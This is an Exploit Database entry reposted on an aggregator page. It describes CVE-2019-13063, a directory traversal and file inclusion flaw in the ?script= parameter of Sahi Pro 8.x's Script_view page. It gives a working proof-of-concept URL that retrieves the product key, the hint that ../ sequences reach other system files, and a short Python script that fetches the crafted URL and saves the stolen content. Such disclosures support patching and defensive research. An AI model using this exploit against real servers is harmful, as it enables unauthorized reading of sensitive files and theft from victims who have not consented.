Sahi pro 8.x – Directory Traversal

• Exploit Database
• 16 阅读

• 作者： Operat0r
  日期： 2019-07-01
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/47062/

• # Exploit Title: Sahi pro (8.x) Directory traversal
  # Date: 2019-06-25
  # Exploit Author: Operat0r
  # Vendor Homepage: https://sahipro.com/
  # Software Link: https://sahipro.com/downloads-archive/
  # Version: 8.0
  # Tested on: Linux Ubuntu / Windows 7
  # CVE: CVE-2019-13063
  
  An issue was discovered in Safi-pro web-application, there is a directory traversal and both local and remote file inclusion vulnerability which resides in the ?script= parameter which is found on the Script_View page. And attacker can send a specially crafted URL to retrieve and steal sensitive files from teh victim.
  
  POC -
  
  http://10.0.0.167:9999/_s_/dyn/Script_view?script=/config/productkey.txt
  
  This results in the revealing of the applications product key. The ?script= can have ../../../../../ added to retrieve more files from the system
  
  POC tool -
  
  import argparse, requests, os
  
  #sahi_productkey = '/config/productkey.txt'
  #root_dir = '../../../../../../'
  #vuln_url = "http://10.0.0.167:9999/_s_/dyn/Script_view?script="
  
  print("[x] Proof of concept tool to exploit the directory traversal and local file"
  " inclusion vulnerability that resides in the [REDACTED]\n[x] CVE-2019-xxxxxx\n")
  
  print("Example usage:\npython POC.y --url http://example:9999/_s_/dyn/Script_view?script=/config/productkey.txt")
  
  parser = argparse.ArgumentParser()
  parser.add_argument("--url",
  help='Specify the vulnerable URL')
  
  args = parser.parse_args()
  
  response = requests.get(args.url)
  file = open("output.txt", "w")
  file.write(response.text)
  file.close()